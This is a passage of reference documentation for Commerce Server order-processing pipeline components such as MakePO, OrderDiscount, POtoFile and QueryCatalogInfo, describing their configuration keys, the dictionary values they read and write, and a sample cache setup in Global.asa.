The MakePO component can be used to dynamically generate a text entry on the OrderForm object (usually a purchase order). The entry is generated from a template file similar to an Active Server Pages (ASP) page. Like an ASP page, a MakePO template contains plain text interspersed with special tags containing script code. From within script, output can be done using PageGen.Print expression, or <%% = expression %%> similar to the ASP shortcut for Response.Write. The script language is configurable in the property page.

From within the MakePO template, the business object (OrderForm object, dictionary, or child object) is exposed as an object with the name Items. The library for the selected scripting language is also extended to include the members of this object as built-in properties, so that referring to the entries of the business object using the Items.xxx notation is possible. For this reason, it is best to declare any temporary variables so that they are not saved in the business object.

The following segment is an example from a template:

Item Class:<%%= item.partclasscode %%>
#:<%%= item.partnumber %%>
Qty:<%%= item.quantity %%>
Cost:<%%= item.[_display_list_price] %%>
Unit Code:<%%= item.unitcode %%>

The PO generated by the MakePO component can be saved to a file using the POtoFile component.

The MakePO component cannot output variant subtype VT_DECIMAL. Any usage of decimal or currency in the MakePO component must be wrapped with a call to the CStr method, which properly coerces the value to a string. For example:

Requisition # <%% = CStr(RequisitionID) %%>

Programmatic Use

To use this component outside of a pipeline, you must configure it by assigning values to keys in the Configuration dictionary. The keys correspond to the indicated boxes on the Component Properties dialog box.

Key | Box | Description
TemplateFileName | Template File Name | String.
TemplateScriptLanguage | Script language for the template | String.
OutPropName | Output Property Name | String.
ChildObjectName | Child Object Name | String
UseChildObject | Use Chile Object | Numeric. 0 for False, 1 for True.

For more information about using pipeline components outside of pipelines, see MicroPipe Object.

See Also

MicroPipe Object

POtoFile


MoneyConverter

Use this component to convert OrderForm object keys and values from integers to the new currency type, or from the new currency type to integers.

Intended use: Order Processing pipeline, any stage.

Configuration Values

You can determine which conversion the MoneyConverter component performs as well as the fields converted by setting component properties. Use the following boxes on the Convert Money tab of the Component Properties dialog box to determine this information.

Box | Description
Convert currency to int | Converts currency values to integer values.
Convert int to currency | Converts integer values to currency values.
Currency Fields | This box contains a space-separated list of the currency fields. The integer fields have the same name but without the cy_ prefix. Prefix item-level fields with item. and order level elements with order.. See the Remarks section for more information.

Values Read

The fields specified in the Currency Fields box.

Values Written

The fields specified in the Currency Fields box.

Remarks

Use the MoneyConverter component in pipeline stages containing Site Server 3.0 Commerce Edition and Commerce Server 2000 components, or Site Server 3.0 Commerce Edition and Commerce Server 2002 pipeline components using currency representations.

If a pipeline stage contains only Site Server 3.0 Commerce Edition objects, or only Commerce Server 2000 and Commerce Server 2002 objects, you do not need to use the MoneyConverter component. The various required components (RequiredItemPrice, for example) automatically perform currency and integer conversions at the end of a pipeline stage.

When converting values, the component gets the value of the key, converts it, and assigns it to the key of the other type. For example, suppose that you are converting the old integer currency value item._oadjust_adjustedprice. The MoneyConverter component gets the value from this key, converts it to the new currency data type, and assigns the converted value to the item._cy_oadjust_adjustedprice key. Values may be rounded during conversion. For more information about rounding, see Currency Enhancements.

The only difference between the keys is the cy_ in the name of the key holding the currency value. The currency key that is specified in the Component Properties dialog box regardless of the direction of the conversion.

See Also

DataFunctions Object


OrderDiscount

Use this component to apply discounts scheduled in the Campaign Manager module in Commerce Server Business Desk to the shopping basket.

Intended use: Order Processing pipeline, Order Adjust Price stage.

In Component Properties dialog box, on the Order Discount tab, do the following:

Use this | To do this
Apply Percent First | When two or more discounts of equal priority but different types apply to a line item, selecting this causes percentage discounts to apply before currency discounts of the same priority.
Apply Currency First | When two or more discounts of equal priority but different types apply to a line item, selecting this causes currency discounts to apply before percentage discounts of the same priority.
Apply discount to basket items | Select Least expensive first to apply discounts to the least expensive items in the basket first. Select Most expensive first to apply discounts to the most expensive items in the basket first.

Click Apply to save your changes.

For more information about discount interactions, see Order Subtotal Discount.

Configuration Values

None.

Values Read

The OrderDiscount component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._cy_iadjust_currentprice Order Required. The current price of the line items.

Type: Currency (VT_CY)
item.quantity Order Required. The total quantity of a line item.

Type: Integer (VT_I4)
item._cy_oadjust_adjustedprice Order Optional (default is 0.0). The total price of all the items, after all the discounts have been applied.

Type: Currency (VT_CY)

Note

  • Total price for the line item can be computed using the following:

    n_unadjusted*_cy_iadjust_currentprice+_cy_oadjust_adjustedprice.

item._n_unadjusted Order Optional (default is equal to the quantity). The quantity of line items that have not been adjusted (line items that are eligible to serve as discount conditions and receive discount awards).

Type: Integer (VT_I4)
item._product_* | Order | The product properties for each item. The column name is appended to form the key name. For more information, see the Remarks section.
item.discounts_applied Order Optional. A dictionary containing the IDs of the discounts that applied to this line item the last time the OrderDiscount pipeline compoenent was run. Keys are the IDs; values are the date/timestamps of the discounts. This is normally persisted with the OrderForm object and used by the OrderDiscount object to detect discount changes and warn the user when a discount has changed or been removed.

Type: IDictionary (VT_DISPATCH)

Note

  • The format of the dictionary is a mapping from the discount ID (campaign item ID) to a last-modified timestamp (VT_DATE). The last-modified timestamp is the time the discount campaign item was last modified in Business Desk.
discounts_clicked Order Optional. The campaign item IDs of the click-required discounts that have been clicked.

Type: SimpleList of Integer
_discounts Order Optional (if null, the CacheManager and CacheName objects are used to retrieve the ContentList object of discounts from the cache automatically). A ContentList object that contains the cached list of discounts that attempt to apply to the OrderForm object. Discounts may be prefiltered from the list by setting their score property to zero.

Type: Currency

Note

  • Internally, the ActiveRows property is used to retrieve only the unfiltered discounts from the list. Therefore, the Threshold property of the ContentList object, along with each score property of the content item, can be used to control the set of discounts eligible for application for each individual request.
orderlevel_discounts_applied Order Optional. A dictionary with information about the discounts that were applied at the order level the previous time the OrderDiscount component was run. It is normally persisted along with the OrderForm object and is used by the OrderDiscount object to detect discount changes and warn the user when a discount has changed or been removed.

Type: IDictionary (VT_DISPATCH)

Notes

  • The format of the dictionary is a mapping from discount ID (campaign item ID) to a last-modified timestamp (VT_DATE). The last-modified timestamp is the time the discount campaign item was last modified in Business Desk.
  • This dictionary should not be used for accounting systems.
_currency_decimal_places Order Optional (if not set, the _currency_lcid key must be set, and the number of currency decimal places will be the default for that locale). Describes the number of digits of precision (after the decimal point) from which to round certain intermediate results, and to round to when writing currency values into the OrderForm object.

Type: Integer (VT_I4)
_currency_lcid Order Optional (required only if the _currency_decimal_places key is not set). Describes a locale (LCID) from which to retrieve the number of currency decimal places.

Type: Integer (VT_I4)
Evaluator Context Required. The expression evaluator instance used to evaluate product, targeting context, and user expressions.

Type: IExprEval (VT_DISPATCH)
_trace_discounts Context Optional (default is false). Determines whether the OrderDiscount component should generate tracing information.

Type: Bool (VT_BOOL)

Notes

  • When tracing is turned on, it has a minimal amount of performance overhead because the string must be generated with each aspect of the decisions made.
  • When enabled, the key _discounts_trace_info will be written to the OrderForm object.
CacheManager Context Optional (unless the _discounts key was not set in the OrderForm object). A CacheManager object used for retrieving the cached set of discounts eligible for application.

Type: IcacheManager (VT_DISPATCH)
CacheName Context Optional (unless the _discounts key was not set in the OrderForm object). The name of the CacheManager cache containing the cached set of discounts

Type: String (VT_BSTR)
MessageManager Context Required (only checked if one of the warnings listed under Notes is used). A reference to a MessageManager object.

Type: IMSCSMessageManager_3_0 (VT_DISPATCH)

Notes

  • The following messages may be added to the _Basket_Errors list in the OrderForm object:
    • pur_discount_removed (one or more discounts no longer apply).
    • pur_discount_changed (one or more discounts have changed).
Language Context Optional (unless one of the MessageManager object warnings is used) The MessageManager object language in which localized messages should be retrieved from the MessageManager object.

Type: String (VT_BSTR)
UserProfile Context Optional. A ProfileObject object representing the current user, which is used in evaluating discount eligibility requirement expressions.

Type: IprofileObject or IDictionary (VT_DISPATCH)
ContextProfile Context Optional. The TargetingContext profile to use for evaluating discount eligibility requirement expressions. This is usually a Dictionary object but may also be a Profile object.

Type: IprofileObject or IDictionary (VT_DISPATCH)
SiteName Context Optional. The site name, used only for reporting the SiteName as part of several limited error messages, which may be reported to the Event log.

Type: String

Values Written

The OrderDiscount component writes the following values to the Order dictionary.

Key Description
_discounts Not always written (if the _discounts list was set before the OrderDiscount object was run, it is not changed). A ContentList object containing the discounts from the discounts cache, which is based on the CacheName key in the pipeline context. For the structure of the ContentList object, see CSFLoadDiscounts.

Type: ContentList (VT_DISPATCH)
_winners Always written. A SimpleList object, which contains the campaign item IDs of all discounts applied to the basket.

Type: SimpleList (VT_DISPATCH)

Note

  • Used by the RecordEvent and IISAppendToLog components to record the fact that the campaign items were applied (SOLD events), normally in the Accept stage of the checkout pipeline.
_event Always written. Contains the name of the event to record, which should always be set to SOLD.

Type: String (VT_BSTR)

Note

  • This value is used by the RecordEvent and IISAppendToLog components to record the fact that the campaign items were applied (SOLD events), normally in the Accept stage of the checkout pipeline.
item._itemlevel_discounts_applied Not always written (only written if one or more item level discounts apply to the line item). A SimpleList of dictionaries where each dictionary contains information about an item level discount that was applied to the line item. The order of the list is significant and represents the order in which the discounts were applied to this line item.

The dictionary contains the following elements for each discount:

  • discount_id: Campaign item ID (VT_I4)
  • discount_priority: Discount priority (rank) (VT_I4)
  • discount_timestamp: Last-modified timestamp of the discount (VT_DATE)
  • cy_discount_amount: How much was actually taken off of the item (VT_CY)
  • discount_type: 1=Currency Value; 2=Percentage (VT_I4)
  • cy_discount_value: Currency value or percentage value (VT_CY)
  • discount_name: Discount name (VT_BSTR)

Type: Dictionary (VT_DISPATCH)
item._cy_itemlevel_discounts_subtotal Not always written (only written if one or more item level discounts apply to the line item). Sum of all item level discounts apply to this line item.

Type: Currency (VT_CY)
item._cy_oadjust_adjustedprice Always written. The total price of all the items, after all the discounts have been applied. An item is adjusted if it received a discount or was used as a condition for a discount where either the reuse_condition_as_condition or reuse_condition_as_award flags were set to false.

Type: Currency (VT_CY)

Note

  • Total price for the line item can be computed as the following:

    _n_unadjusted*_cy_iadjust_currentprice+_cy_oadjust_adjustedprice

item._n_unadjusted Always written. The number of items whose price remains unadjusted after discounts are applied. An item is adjusted if it received a discount or was used as a condition for a discount where either the reuse_condition_as_condition or reuse_condition_as_award flags was set to false.

Type: Integer (VT_I4)
item.discounts_applied Not always written. A dictionary containing the campaign item IDs of the discounts that applied to this item. The keys are the IDs; the values are the date-time stamps of the discounts. This is normally persisted along with the OrderForm object and used by the OrderDiscount object to detect discount changes and warn the user when a discount has changed or been removed.

Type: IDictionary (VT_DISPATCH)

Note

  • The format of the dictionary is a mapping from discount ID (campaign item ID) to a last-modified timestamp (VT_DATE). The last-modified timestamp is the time the discount campaign item was last modified in Business Desk.
_discounts_removed Not always written. A SimpleList object, which contains campaign item IDs of discounts that no longer apply to the basket since the last time the pipeline was run. This key is written only if some discounts no longer apply.

Type: SimpleList (VT_DISPATCH)

Note

  • If this key is set, OPPERRORLEV_WARN (2) is returned from the Execute method, and the MessageManager message pur_discount_changed is added to the _Basket_Errors list.
_discounts_changed Not always written. A SimpleList object, which contains campaign item IDs of discounts that have changed since the last time the pipeline was run. This key is written only if some discounts have changed.

Type: SimpleList (VT_DISPATCH)

Note

  • If this key is set, OPPERRORLEV_WARN (2) is returned from the Execute method and the MessageManager message pur_discount_changed is added to the _Basket_Errors list.
orderlevel_discounts_applied Not always written (written only if one or more order level discounts were applied). A dictionary with information about the discounts that applied at the order level the last time the OrderDiscount component was run. This is normally persisted along with the OrderForm object and used by the OrderDiscount object to detect discount changes and warn the user when a discount has changed or been removed.

Type: Dictionary (VT_DISPATCH)

Note

  • The format of the dictionary is a mapping from the discount ID (campaign item ID) to a last-modified timestamp (VT_DATE). The last-modified timestamp is the time the discount campaign item was last modified in Business Desk.
_orderlevel_discounts_detail Not always written (written only if one or more order level discounts were applied). A dictionary that maps special offer types to a list of order level discounts that applies for that special offer type. Other components such as OrderDiscountApply or ShippingDiscountAdjust are responsible for actually applying the discounts.

Each element is a dictionary. The exact format of the dictionary depends on whether the element represents a combination of percentage-off discounts of the same priority, or a single discount.

Following are the dictionary entries if the element represents a single discount:

  • discount_id: Integer (VT_I4)
  • discount_timestamp: Last_modified timestamp of the discount (VT_DATE)
  • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries if the element represents a combined percentage-off discount:

  • discounts_combined: A SimpleList object that describes each of the discounts that were combined. Each element in this list is a dictionary with the following keys:
    • discount_id: Integer (VT_I4)
    • cy_discount_percentage: Value (VT_CY)
    • discount_timestamp: Llast_modified tiemestamp of the discount (VT_DATE)
    • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries that exist in both cases:

  • discount_priority: Priority (rank)
  • discount_type: 1=Currency; 2=Percentage (VT_I4)
  • cy_discount_value: Currency or Percentage value (VT_CY). If the element represents a combined percentage-off discount, this is the total percentage.

The order the elements appear in the list is significant, because it is the order that OrderDiscount has determined they should be applied.

Type: Dictionary (VT_DISPATCH)

Note

  • A combined percentage discount will never reflect a value greater than 100 percent, even if the sum of the percentages of discounts in the discounts_combined list is greater than 100. The last contribution of the discount is considered as the only amount that will apply.

    If the combination is already discounted 100 percent, no further percentage discounts of the same priority will be considered as applied, even if they could apply. Therefore, they will not be written to the list.

_Basket_Errors Not always written (modified if _discounts_removed or discounts_changed is set). Error messages are written to this SimpleList object.

Type: IsimpleList (VT_DISPATCH)

Note

  • Every OrderForm object has a _Basket_Errors list that is used to report non-fatal pipline errors to the user.
_qualifying_discounts Not always written (written only when one or more discounts meet their qualification, but the discount has nothing to which to apply). Discount item IDs of the discounts that meet their qualifications, but for which there is nothing to award are written to this SimpleList object.

Type: IsimpleList (VT_DISPATCH)
_discounts_trace_info Not always written (written only if context_trace_discounts was set to true). Contains information about discount decisions.

Type: String (VT_BSTR)
_<special_offer_type>_type Not always written. The type of an order level discount (for example, free shipping), if one applies. Another component in the pipeline (such as ShippingDiscountAdjust) applies the discount. The key name is formed from the string stored in the special_offer_type key in the ContentList object. Possible values are:
  • 1 (money discount)
  • 2 (percentage discount)

More than one type of order level discount may apply to the same OrderForm.

Type: Currency (VT_CY)

Important

  • This is a legacy key for backward compatibility with the Commerce Server 2000 OrderDiscount component. New development should use the _orderlevel_discounts_detail dictionary.
_cy_<special_offer_type>_value Not always written. The value of an order level discount (for example, free shipping), if one applies. Another component in the pipeline (such as ShippingDiscountAdjust) applies the discount. This key is used only for custom discounts applied outside of the pipeline. The key name is formed from the string stored in the u_special_offer_type key in the discount database. The value of the discount comes from the offer_value field in the ContentList object.

Type: Currency (VT_CY)

Important

This is a legacy key for backward compatibility with the Commerce Server 2000 OrderDiscount component. New development should use the _orderlevel_discounts_detail dictionary.
_cy_<special_offer_type>_description Not always written. The description of an order level discount if one applies. This key may be used to display when the discount applies somewhere on the page. The value comes from the description field in the ContentList object.

Type: String (VT_BSTR)

Important

This is a legacy key for backward compatibility with the Commerce Server 2000 OrderDiscount component. New development should use the _orderlevel_discounts_detail dictionary or the item_orderlevel_discounts_applied dictionary to get the item IDs. It can then look up the discount descriptions from the _discounts ContentList.

Errors

The component writes error messages to the _Basket_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_discount_removed | A discount no longer applies since the pipeline was last run.
pur_discount_changed | A discount has changed since the pipeline was last run.

Remarks

The OrderDiscount component applies discounts to the shopping basket of a user. The discounts are scheduled through the Campaign Manager module in Commerce Server Business Desk. Each discount is a campaign item and has a unique campaign item ID.

You can adjust the scores of discounts that the OrderDiscount component applies by using the ScoreDiscounts component in a Content Selection pipeline. The ScoreDiscounts component adjusts the scores of discounts and saves them in the ContentList object held by the CacheManager object. That ContentList object would then be used by the OrderDiscount component in another pipeline.

The OrderDiscount component rounds at the line item level — if more than one discount applies to a line item, the discounts are combined before rounding is done. Currencies with four decimal places of precision are the exception. In this case, values are truncated to four decimal places as discounts are combined.

For a detailed discussion about how discounts are selected and applied, see Discount Objects.

The _winners and _event keys are used to record events for tracking in the campaign system and are imported into the Data Warehouse for reporting.

See Also

Discount Objects

CSFLoadDiscounts

ScoreDiscounts


OrderLevelDiscountApply

Use this component to apply order level subtotal discounts.

Intended use: Order Processing pipeline, Order Adjust Price stage, between OrderDiscount and RequiredOrderAdjustPriceCy components.

In the Component Properties dialog box, on the Order Level Discount tab, do the following:

Use this | To do this
Apply discounts to all items | Apply order level discounts to all items in the order form.
Apply discounts to items where the following key exists and the corresponding value is nonzero | Apply order level discounts only to items in the order form where the specified item dictionary key exists and the corresponding value is nonzero.

Click Apply to save your changes.

For more information about discount interactions, see Order Subtotal Discount.

Configuration Values

None.

Values Read

The OrderDiscountApply component reads the following values from the indicated dictionaries.

Key Dictionary Description
item.quantity Order Required. The total quantity of all the line items.

Type: Integer (VT_I4)
item._cy_iadjust_currentprice Order Required. The current price of all the line items.

Type: Currency (VT_CY)
item._cy_oadjust_adjustedprice Order Optional (default is 0.0). The total price of all the items, after all the discounts have been applied.

Type: Currency (VT_CY)

Note

  • Total price for the line item can be computed as the following:

    _n_unadjusted*_cy_iadjust_currentprice+_cy_oadjust_adjustedprice

item._n_unadjusted Order Optional (default is equal to the quantity). The quantity of line items that have not been adjusted bythe OrderDiscount component or other discounting components (number of line items that are eligible to serve as discount conditions and receive discount awards).

Type: Integer (VT_I4)
_orderlevel_discounts_detail Order Optional. A dictionary that maps special offer types to a list of order level discounts that applies for that special offer type.

Each element is a dictionary. The exact format of the dictionary depends on whether the element represents a combination of percentage-off discounts of the same priority, or a single discount.

Following are the dictionary entries if the element represents a single discount:

  • discount_id: Integer (VT_I4)
  • discount_timestamp: Last_modified timestamp of the discount (VT_DATE)
  • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries if the element represents a combined percentage-off discount:

  • discounts_combined: A SimpleList object that describes each of the discounts that were combined. Each element in this list is a dictionary with the following keys:
    • discount_id: Integer (VT_I4)
    • cy_discount_percentage: Value (VT_CY)
    • discount_timestamp: Last_modified timestamp of the discount (VT_DATE)
    • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries that exist in both cases:

  • discount_priority: Priority (rank)
  • discount_type: 1=Currency; 2=Percentage (VT_I4)
  • cy_discount_value: Currency or percentage value (VT_CY). If the element represents a combined percentage-off discount, this is the total percentage.

The order the elements appear in the list is significant, because it is the order that OrderDiscount has determined they should be applied.

Type: Currency (VT_CY)

Note

  • This is the list used by OrderDiscount to specify to other pipeline components the complete list of order level discounts that should be applied to the basket.
_currency_decimal_places Order Optional (if not set, the _currency_lcid key must be set, and the number of currency decimal places will be the default for that locale). Describes the number of digits of precision (after the decimal point) for which to round certain intermediate results, and to round to when writing currency values into the OrderForm object.

Type: Integer (VT_I4)
_currency_lcid Order Optional (required only if the _currency_decimal_places key is not set). Describes a locale (LCID) to use to retrieve the number of currency decimal places.

Type: Integer (VT_I4)
SiteName Context Optional. Used only for reporting the site name as part of several limited error messages, which may be reported to the Event log.

Type: String

Values Written

The OrderDiscountApply component writes the following values to the Order dictionary.

Key Description
item._cy_orderlevel_discounts_subtotal Not always written (only written if one or more order level discounts apply to the line item). The sum of all order level subtotal discounts applied to this line item. This key is written even if the discount applied has no impact on the price.

Type: Currency (VT_CY)
item._cy_orderlevel_discounts_applied Not always written. A SimpleList of dictionaries where each dictionary contains information about an item level discount that was applied to the line item. The order of the list is significant and represents the order in which the discounts were applied to this line item. This key is written even if the discount applied has no impact on the price.

The dictionary contains the following elements for each discount:

  • discount_id: Campaign item ID (VT_I4)
  • discount_priority: Discount priority (rank) (VT_I4)
  • discount_timestamp: Last-modified timestamp of the discount (VT_DATE)
  • cy_discount_amount: How much was actually taken off of the item (VT_CY)
  • discount_type: 1=Currency Value; 2=Percentage (VT_I4)
  • cy_discount_value: Currency value or percentage value (VT_CY)
  • discount_name: Discount name (VT_BSTR)

Type: Dictionary (VT_DISPATCH)
item._cy_oadjust_adjustedprice Not always written (default is 0.0). The total price of all the items, after all the discounts have been applied.

Type: Currency (VT_CY)

Notes

  • The price for the line item can be ccomputed as the following:
_n_unadjusted*_cy_iadjust_currentprice+_cy_oadjust_adjustedprice
  • If a discount applies to this line item, the entire quantity is considered adjusted. Therefore, it will be the total price for the line item after all item level and order level discounts are applied.
item._n_unadjusted Not always written (only for items to which a discount will apply by this component). The quantity of items in this line that have not been adjusted.

Type: Integer (VT_I4)

Note

  • If a discount applies to this line item, the entire quantity is considered adjusted, so it will be set to zero.

Remarks

For information about extending the OrderLevelDiscountApply component, see Order Level Discount Pipeline Components.

See Also

Discount Objects

CSFLoadDiscounts

ScoreDiscounts

ShippingDiscountAdjust


POtoFile

Use this component to send a purchase order or other textual data to a file.

Intended use: Order Processing pipeline, Purchase Order Submit or Accept stage.

Configuration Values

You can determine where the POtoFile component retrieves the document and where it writes the result by setting component properties. Use the following boxes on the PO to File tab of the Component Properties dialog box to determine this information.

Box | Description
Source Field Name | The name of the field on the order from which the component reads the purchase order data. The default is po_text.
File Name | The full path to the file the component writes the purchase order to. To locate the file, click Browse.
File named in field | The name of the field in the OrderForm object whose value is the name of the file the component writes the purchase order to; for example, save_filename.
Temporary file, name saved in field | Specifies that the component should save the text to a temporary file, and then save the name of the temporary file in the field identified in the text box. For example, saved_filename.
Append to file instead of overwriting file | When checked, indicates that the text should be appended to the indicated file. Otherwise, the file is overwritten if it exists.

Values Read

The POtoFile component reads the value specified by the key in the Order dictionary indicated in the Source Field Name box.

Values Written

None.

Remarks

The purchase order is usually the output of the MakePO component.

The File Name, File named in field, and Temporary file boxes are mutually exclusive; that is, you can select only one of the three.

Programmatic Use

To use this component outside of a pipeline, you must configure it by assigning values to keys in the Configuration dictionary. The keys correspond to the indicated boxes in the Component Properties dialog box.

Key | Box | Description
SourceFieldName | Source Field Name | String.
SaveMode | N/A | Numeric. 0 for file name given; 1 for file name comes from SourceFieldName.
FixedSaveFileName | File Name | String.
SaveFileFieldName | File name in field | String.
TempFileFieldName | Temporary file, name saved in field | String.
IsAppendToFile | Append to file instead of overwriting file | Numeric. 0 for overwriting; 1 to append.

For more information about using pipeline components outside of pipelines, see MicroPipe Object.

See Also

MakePO


QueryCatalogInfo

Use this component to retrieve catalog information for every item in the order form.

Note

  • This component replaces the older QueryProdInfoADO component. The QueryCatalogInfo component works with the new Commerce Server 2002 catalog structure rather than performing product table lookups.

Intended use: Order Processing pipeline, Product Info stage.

Configuration Values

None.

Values Read

The QueryCatalogInfo component reads the following values from the indicated dictionary.

Key | Dictionary | Description
CacheManager | Context | A reference to a CacheManager object.
catalog_language | Context | Optional. String. The language of the data being retrieved from the catalog.
CatalogManager | Context | A reference to a CatalogManager object.
item.product_catalog | Order | String. The catalog containing the item.
item.product_id | Order | String. The product identifier.
item.product_variant_id | Order | Optional. String. An additional identifier used to distinguish variants of a particular product such as different colors of an item.
item.catalog_language | Order | Optional. String. The language of the data being retrieved from the catalog.

Values Written

The QueryCatalogInfo component writes the following values to the Order dictionary.

Key | Description
item._product_* | Optional. Product properties for each item. The column name is appended to form the key name. For more information, see the Remarks section.
item.delete | Optional. A flag indicating the item should be deleted from the order. For more information, see the Remarks section.

Remarks

The QueryCatalogInfo component retrieves product information from the catalog system for every item in the order. It adds the retrieved information to each Item dictionary in the order form.

Items are identified by a combination of the product_catalog, product_id, product_variant_id, and catalog_language keys. The product_variant_id key is required only if the product is a variant, such a particular color of an item that comes in multiple colors. The catalog_language key is required only if the product is available in more than one language.

If the catalog_language key is changed for any items while they are in the order form, the next time the Order Processing pipeline is run, it will check to see that the items are still valid in the specified language. If the language is missing, then product information is retrieved in the default language of the catalog. If the language is specified and is valid for the catalog, then the info in the specified language is retrieved. If the language is specified and not valid for that catalog, the properties of the item from the default language will be returned.

If no data is found for an item, the QueryCatalogInfo component marks the item for deletion by creating a key in the Item dictionary. The key, delete, is assigned a value of one (1). The RequiredProdInfo component checks for this flag and deletes the item if the key is found. Typically, this deletion occurs when an item in the basket is removed from a catalog.

If data for an item is found, the QueryCatalogInfo component writes an entry to the corresponding Item dictionary for every property. The name of the entry is the prefix _product_ followed by the property name. For example, a product property named "weight", would be stored as _product_weight. The value of the entry is set to the corresponding data from the catalog system.

The catalog_language key can be set individually for each line item. However, this will be slower than setting the catalog_language key at the pipe_context level. If no language is specified the default language for the catalog is used. This component does not detect when a catalog supports a given language, but localization has not occurred for the line item.

The QueryCatalogInfo component requires a CacheManager object with a QueryCatalogInfoCache data structure in its PipeContext Dictionary. The QueryCatalogInfo component uses this data structure to cache the product and category information it applies to line items

The following code is used to setup the cache in the Global.asa file:

    ' Initialize dictQCICacheConfig
    Set dictQCICacheConfig = Server.CreateObject("Commerce.Dictionary")
    dictQCICacheConfig("ConnectionString") _
     = _dictConfig.s_TransactionConfigConnectionString
    dictQCICacheConfig("CacheSize") = 10000
    dictQCICacheConfig("TableName") = "CatalogCache_Virtual_Directory"
    dictQCICacheConfig("CacheName") = "CatalogCache"
    dictQCICacheConfig("AppUrl") = sMachineBaseURL

    ' Configure CacheManager For QueryCatalogInfoCache
    oCacheManager.RefreshInterval("QueryCatalogInfoCache") = 60 * 60
    oCacheManager.RetryInterval("QueryCatalogInfoCache") = 5 * 60
    oCacheManager.CacheObjectProgId("QueryCatalogInfoCache") _
     = "Commerce.LRUCache"
    oCacheManager.LoaderProgId("QueryCatalogInfoCache") _
     = "Commerce.LRUCacheFlush"
    Set oCacheManager.LoaderConfig("QueryCatalogInfoCache") _
     = dictQCICacheConfig

See Also

RequiredProdInfo


QueryProdInfoADO

Use this component to retrieve product information from a database.

Note

  • Use the new QueryCatalogInfo for new applications to take advantage of the new Commerce Server 2002 catalog API.

Intended use: Order Processing pipeline, Product Info stage.

Configuration Values

You can determine the query the QueryProdInfoADO component runs by setting component properties. Use the following boxes on the Query Prod Info (ADO) tab of the Component Properties dialog box to determine this information.

Box | Description
Connection String | The connection string to connect to the database. This may be a full connection string or a name in a connection map. If blank, the default connection string is passed through.
Query | The full SQL text of the query this component will run, or the name of a query whose full SQL text is defined in the Global.asa file in the QueryMap key.
Parameter List | A space-separated list of the parameters to pass to the query. The stockkeeping unit (SKU) for an item (item.sku) is commonly used.

Values Read

The QueryProdInfoADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default query string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

The QueryProdInfoADO component writes the following values to the Order dictionary.

Key | Description
item._product_* | The product information for each SKU found, added to the Item dictionary in the Order dictionary. The column name is appended to form the key name.
item.delete | A deletion flag, set to one (1) for an item if it is not found. The item will be deleted from the order.

Remarks

The QueryProdInfoADO component runs a database query to retrieve data about products on the order form. If unique data for the specified query is found, then for each column retrieved by the query, the component writes the data into the item._product_columnvalue keys in the Item dictionary of the order form. This makes product information available to components later in the pipeline.

The connection string must include either the full connection string (the data source name (DSN), database login ID, and database password) or the name of a named connection stored in the connection map.

If you add new columns to the product database table, and if this information is needed by any component in the pipeline, then you must add the column to the query used by the QueryProdInfoADO component.

If data for the specified SKU is found, then for each column retrieved by the query, the QueryProdInfoADO component writes a key and value pair to the Item dictionary. The key consists of the prefix _product_, followed by the column name. Thus, for example, the data in a table column named col would be placed in the value of item._product_col. Finally, the QueryProdInfoADO component initializes the value to contain the data stored in the appropriate column.

If no rows or more than one row are returned by the query, the QueryProdInfoADO component writes a key named delete to the Item dictionary, initializes the delete item to 1 (marking it for deletion) and moves on to the next item. Items marked for deletion are removed from the order form, typically by the RequiredProdInfo component.


RecordEvent

Use this component to record event delta counts for the selected content items (the winners) in the Performance dictionary.

Although this component appears as RecordEvent in the Pipeline Editor, its ProgID is Commerce.CSFRecordEvent.

Intended use: Content Selection or Event Processing pipeline, Record stage; Order Processing pipeline, Receipt stage.

Configuration Values

None.

Values Read

The RecordEvent component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_event | Order | A string containing the name of the event to record.
_eventcount | Order | Optional. A SimpleList object containing the number of events to record for each winning content item. It must contain the same number of elements as the _winners list. One event is recorded for each winning item if this key is not present.
_winnerindexes | Order | A SimpleList object containing the ContentList object indexes of the winning content items. If this key is present, the _winners key should not be present. If both are present, only this key is used.
_winners | Order | A SimpleList object containing values from the item_id keys of the selected (winning) content items. If this key is present, the _winnerindexes key should not be present. If both are present, only the _winnerindexes key is used.
_performance | Order | Specifically, the previous event delta count for the various content items.
_content.item_id | Order | The item_id key for the various content items contained in the ContentList referenced by _content. If the _content key is present, the referenced ContentList object must have a column named item_id.

Values Written

The RecordEvent component writes the following values to the Order dictionary.

Key | Description
_performance | The Performance dictionary. This key will contain the new event delta counts for the various content items.
_content.invalid_nod | A Boolean flag for each item in the ContentList object. Set this key to True if the item needs to have the Need of Delivery (NOD) re-calculated.

Remarks

The following are the names of the pre-defined events for campaigns:

  • REQUEST. A content request event.
  • CLICK. A click event for an ad or a promotion.
  • DOWNLOAD. A download of a GIF image or other advertising asset from the Web server.
  • SOLD. An item sold event, such as for a promotion or bounty ad.

You can record custom events by adding custom event names to the event_type table in your campaigns database.

This component flags whether or not the NOD values of the winning content items need to be re-calculated. The flag is set to True if the Item dictionary has a NOD key and if the event name matches the type of event the item is scheduled by.

The NOD values can be recomputed in the absence of a ContentList object (when the _Content key is not present) if the _winners key is passed instead of the _winnerindexes key.

The Performance dictionary contains a subdictionary for each content item for which an event has occurred, keyed by the item_id key. Each subdictionary maps event names to a count of the number of new occurrences of that event. Periodically, the total in the database for each event for each content item will be incremented by this amount. The RecordEvent component is responsible for creating keys in these dictionaries as needed and incrementing the corresponding values. The WriteEvents cache component is responsible for recording the increments in the running totals in the database.


RecordHistory

Use this component to record the identifiers of the winning content items in the history list string.

Although the component appears as RecordHistory in the Pipeline Editor, its ProgID is Commerce.CSFRecordHistory.

Intended use: Content Selection pipeline, Record stage.

Configuration Values

You can determine how many items the RecordHistory component saves in the string by setting component properties. Use the following box on the Record History tab of the Component Properties dialog box to determine this information.

Box | Description
Maximum number of items to store in history string | Numeric. The maximum number of items saved in the history string. The default is 35.

Values Read

The RecordHistory component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_history | Order | The history string retrieved by the LoadHistory component.
